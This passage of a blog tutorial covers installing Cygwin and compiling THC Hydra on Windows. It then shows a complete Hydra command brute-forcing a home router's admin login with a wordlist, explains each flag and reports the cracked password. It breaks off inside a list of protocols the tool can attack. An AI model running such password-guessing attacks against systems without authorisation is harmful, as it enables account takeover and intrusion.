&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img694.imageshack.us/img694/5053/hydra3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="172" src="http://img694.imageshack.us/img694/5053/hydra3.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;**NOTE**: You can choose to only install the basics and add what you want in later, but to keep things easy and avoid having to trouble shoot to many issues I suggest just pick "ALL". Today's HDDs are getting larger and cheaper so I doubt many will have any issues due to space if you select ALL (mine was 8.29Gb total disk space once completely installed with all packages). If you want to go more advanced and select only what you need feel free, be aware that to use the GUI for THChydra, known as XHYDRA, you will need to ensure you also chose to install the proper Cygwin/X requirements as well as the basics since it relies on x-Server and Cygwin/X consists of X server, X libraries, and nearly all of the standard X clients.&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img863.imageshack.us/img863/8239/hydra4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="216" src="http://img863.imageshack.us/img863/8239/hydra4.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;When you are done Setup.EXE saves everything and creates a shortcut on your desktop as well as in the start menu. You can then use the Setup.EXE file any time you want to update or install a new Cygwin package, as once you have gone through the initial install choices it will remember your final configuration options so anytime you run it again it will open and allow you to choose to update your system by selecting additional packages.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Installed and working console should look like this; just double click your shortcut on desktop:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img847.imageshack.us/img847/3673/hydra5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="180" src="http://img847.imageshack.us/img847/3673/hydra5.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img32.imageshack.us/img32/6153/hydra6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://img32.imageshack.us/img32/6153/hydra6.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Now you can test it out by issuing a few commands that you wouldn’t normally have use to in Windows that are common Linux commands. Here is a quick view of: "pwd", "cd /", "ls", "ps":&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img716.imageshack.us/img716/3431/hydra7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="193" src="http://img716.imageshack.us/img716/3431/hydra7.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;**NOTE: If you are trying to find your main Windows OS drive you need to navigate to it through the "cygwindrive" located in the root folder of Cygwin environment. Here is a quick example: &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;EXAMPLE: cd /cygdrive/&amp;lt;drive letter&amp;gt;/Users/&amp;lt;username&amp;gt;/path/location&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;For me I use the following to get to my main OS desktop area: &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 0.5in;"&gt;&lt;span style="font-family: Calibri;"&gt;COMMAND: cd /cygdrive/c/Users/SkyWalker/Desktop&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Now to copy the downloaded hydra tar file from our main OS desktop to our Cygwin desktop use this:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Example: cp hydra-6.3-src.tar.gz /home/&amp;lt;cygwin-username&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Mine: cp hydra-6.3-src.tar.gz /home/SkyWalker&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Then: cd /home/SkyWalker &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Then: ls (to confirm it was copied to where we wanted it)&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img716.imageshack.us/img716/5205/hydra8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="193" src="http://img716.imageshack.us/img716/5205/hydra8.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;span style="font-family: Calibri;"&gt;This ends our brief overview and review for installing Cygwin, please spend time on the homesite and reading the user guide to figure out all the ins and outs of it. If for some reason you decide you want to remove one of the installed Cygwin packages you will simply need to re-run the Setup.EXE file. Once it is open you simply navigate the list of packages that are already installed, and choose the category you want to edit (or click on the View button). Click on the options until it changes to Uninstall and then choose next to finalize the removal of the desired package (just click till you get there, it goes: Default&amp;gt;Install&amp;gt;ReInstall&amp;gt;UnInstall). &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;If you want to remove it entirely from your system simply stop all services from running and delete all files, folders and subdirectories as well as any Desktop shortcuts from your machine and from the Setup.EXE install folder and it will be gone. &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;+=====================================================+&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;|&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Steps to Compile THCHydra, once Cygwin is operational&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;|&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;+=====================================================+&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I have showed you above how you can move the THCHydra tar file from where ever you downloaded it so we can start working with it. Now navigate their using your Cygwin terminal, and we will begin by extracting the contents of the download using the following command:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: tar -zxvf hydra-6.3-src.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt 1in;"&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: you can add "-C /desired/path/location" to the end of the command to extract it to another location other than where you currently are located&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img844.imageshack.us/img844/3695/hydra9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://img844.imageshack.us/img844/3695/hydra9.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;OK, now that it is extracted you will have a new folder called hydra-6.3-src and inside you will find the contents of what was extracted, but we still need to compile it in order to get it working (you can delete the original tar file when we are done extracting). In order to compile the program you will need to use the following commands from the terminal:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND:&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;cd /hydra-6.3-src&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND:&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;./configure&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND:&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;make&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND:&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;make install (THIS IS ERROR PRONE ON CYGWIN)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img18.imageshack.us/img18/963/hydra10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://img18.imageshack.us/img18/963/hydra10.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img204.imageshack.us/img204/369/hydra11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://img204.imageshack.us/img204/369/hydra11.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img269.imageshack.us/img269/8273/hydra12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://img269.imageshack.us/img269/8273/hydra12.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: The last one for make install is not required but allows it to install to the local path environment to avoid always having to navigate to the install folder to use/run. This is mainly for my Linux users as it doesn’t properly work in Cygwin environment due to the default paths being different and errors can be ignored. You can edit this if needed to try and get it working, or simply navigate to the hydra folder before running it each time. If you want to add SSH you need to setup libssh on your machine as well (available at: http://www.libssh.org), and you will also need to add the "-DWITH_SSH1=On" argument to the first make command (i.e. ./configure&amp;gt;make -DWITH_SSH1=On&amp;gt;make install). The default make will also setup the necessary requirements for Xhydra if you have all of the dependencies needed, however I should mention that it is not functional in Cygwin environment due to issues with the GTK+ front end and Cygwin X Server. I previous had XHYDRA working but now seems to fail due to multiple errors but I am not a real programmer and don’t quite have the time to troubleshoot it. If you know anyone that is good with GTK programs then you might be able to fix the errors when it runs under Cygwin/X (just start X Server and then X-terminal and then run ./xhydra at command line in X-terminal to start the GUI. It will appear to be fine until you hit start to run it), until then XHYDRA only works in a 100% real Linux environment.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Now let us confirm we did not waste our time for nothing, check successful installation by issuing the following command to bring up the help menu and see all of the available options:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;COMMAND: ./hydra -h&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img688.imageshack.us/img688/669/hydra13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://img688.imageshack.us/img688/669/hydra13.png" t8="true" width="262" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I will not go into great detail as the user guide is chalked full of details and there are already a lot of other tutorials on the net the cover how to use it, but not a lot on how to get it working on Windows (which is why I wrote this article). In order to get you started I will show you a quick example of cracking password on a basic home router user/pass for my network with Hydra (I am using a spare Netgear home router for this test), it goes a little something like this...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;COMMAND: hydra -l admin -P /path/to/wordlist/passwords.txt -e ns -t 15 -f -s -vV 192.168.1.1 http-get -m /&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Here is how it breaks down:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-l" defins the username to use for all attempts&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-P" defines password to use or the path to use for wordlist to read passwords while attacking&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-e ns" instructs Hydra to attempt check for valid NULL connection (meaning blank or no password used)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-t x" defines the thread count to be used, or how many tasks at once (where x = a number)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-f" instructs Hydra to exit upon finding the first set of valid credentials or user/pass combo&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-s" instruct Hydra to use SSL for connection&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-vV" simply puts Hydra into verbose mode so you see what is going on while it is running&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;"192.168.1.1" is being used as the IP address we are targeting (simply change to fit your need)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "http-get"&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;defines the method or protocol to use for attacking (see below for full list of protocols)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;the "-m /" is defining where to target the attacks at, or the page to try and crack&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img717.imageshack.us/img717/9811/hydra14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="208" src="http://img717.imageshack.us/img717/9811/hydra14.png" t8="true" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;You can see above it found the&amp;nbsp;password (&lt;a href="mailto:P@ssword1"&gt;P@ssword1&lt;/a&gt;) for the username admin.&amp;nbsp;You can&amp;nbsp;search the user guide or Google if you need further explanations on how to use it or how to target other protocols, but that should atleast give you enough to get started. I must also note some important pieces of information that you should be aware of when cracking over the network with Hydra. First, if the password is not in your dictionary you will never find it (Period - the end!). Secondly, there are going to be some basic limitations that will impact your time, for example the maximum number of attempts possible per connection, protocol being attacked/used, bandwidth, size of word list and CPU power. These factors can all impact overall time it takes to exhasut all possibilities. The "-t" argument referenced aboved can be used to change the parallel thread count being used to help speed things up, but dont set it too high or will have the reverse affect.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;Here are some common max limits for attempts per connection, from the tools creators: telnet=4, ftp=6, pop3=1, amd imap=3, and here is the list of all supported protocols (as of the writing of this tutorial) so have fun cracking as the possibilities are limited only by your imagination:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HTTPS-FORM-POST,&lt;/span&gt;&lt;span style="font-family: 